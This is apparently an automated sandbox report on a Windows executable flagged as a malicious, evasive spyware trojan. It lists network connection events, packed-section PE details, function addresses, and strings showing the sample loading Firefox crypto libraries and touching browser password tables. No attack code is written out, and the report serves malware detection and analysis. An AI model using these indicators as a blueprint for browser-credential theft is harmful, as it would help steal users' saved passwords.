Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:50045 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C60B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C60B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C60B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5AF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A35A0	0_2_6C5A35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B5440	0_2_6C5B5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61545C	0_2_6C61545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61542B	0_2_6C61542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5C10	0_2_6C5E5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2C10	0_2_6C5F2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61AC00	0_2_6C61AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD4D0	0_2_6C5CD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B64C0	0_2_6C5B64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6CF0	0_2_6C5E6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AD4E0	0_2_6C5AD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6034A0	0_2_6C6034A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C4A0	0_2_6C60C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6C80	0_2_6C5B6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CED10	0_2_6C5CED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D0512	0_2_6C5D0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFD00	0_2_6C5BFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0DD0	0_2_6C5E0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6085F0	0_2_6C6085F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616E63	0_2_6C616E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C9E50	0_2_6C5C9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3E50	0_2_6C5E3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2E4E	0_2_6C5F2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C4640	0_2_6C5C4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC670	0_2_6C5AC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7E10	0_2_6C5E7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609E30	0_2_6C609E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5600	0_2_6C5F5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6176E3	0_2_6C6176E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ABEF0	0_2_6C5ABEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFEF0	0_2_6C5BFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604EA0	0_2_6C604EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C5E90	0_2_6C5C5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E680	0_2_6C60E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7710	0_2_6C5E7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B9F00	0_2_6C5B9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6FF0	0_2_6C5D6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ADFE0	0_2_6C5ADFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F77A0	0_2_6C5F77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8850	0_2_6C5C8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD850	0_2_6C5CD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EF070	0_2_6C5EF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B7810	0_2_6C5B7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EB820	0_2_6C5EB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4820	0_2_6C5F4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6150C7	0_2_6C6150C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC0E0	0_2_6C5CC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E58E0	0_2_6C5E58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D60A0	0_2_6C5D60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61B170	0_2_6C61B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CA940	0_2_6C5CA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB970	0_2_6C5FB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BD960	0_2_6C5BD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5190	0_2_6C5E5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD9B0	0_2_6C5DD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C602990	0_2_6C602990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC9A0	0_2_6C5AC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9A60	0_2_6C5E9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8AC0	0_2_6C5E8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C1AF0	0_2_6C5C1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EE2F0	0_2_6C5EE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612AB0	0_2_6C612AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BCAB0	0_2_6C5BCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61BA90	0_2_6C61BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A22A0	0_2_6C5A22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D4AA0	0_2_6C5D4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A5340	0_2_6C5A5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BC370	0_2_6C5BC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED320	0_2_6C5ED320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6153C8	0_2_6C6153C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF380	0_2_6C5AF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5E94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5DCBE8 appears 134 times

Source: file.exe, 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2538522853.000000006C825000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: mxtwpqia ZLIB complexity 0.9949603544776119

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@65/295@22/25

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C607030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C607030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\C1S82V9V.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\821b591d-04b3-4edc-a9de-5a8051e300ef.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2538281990.000000006C7DF000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2530952102.000000001DA1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2537578961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2538281990.000000006C7DF000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2530952102.000000001DA1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2537578961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2538281990.000000006C7DF000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2530952102.000000001DA1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2537578961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2538281990.000000006C7DF000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2530952102.000000001DA1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2537578961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2538281990.000000006C7DF000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2530952102.000000001DA1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2537578961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2538281990.000000006C7DF000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2530952102.000000001DA1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2537578961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2530952102.000000001DA1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2537578961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2411429120.000000001D90C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2308997929.000000001D918000.00000004.00000020.00020000.00000000.sdmp, HDBGDHDAECBGDHJKFIDG.0.dr, JDGCFBAFBFHJEBGCAEGH.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
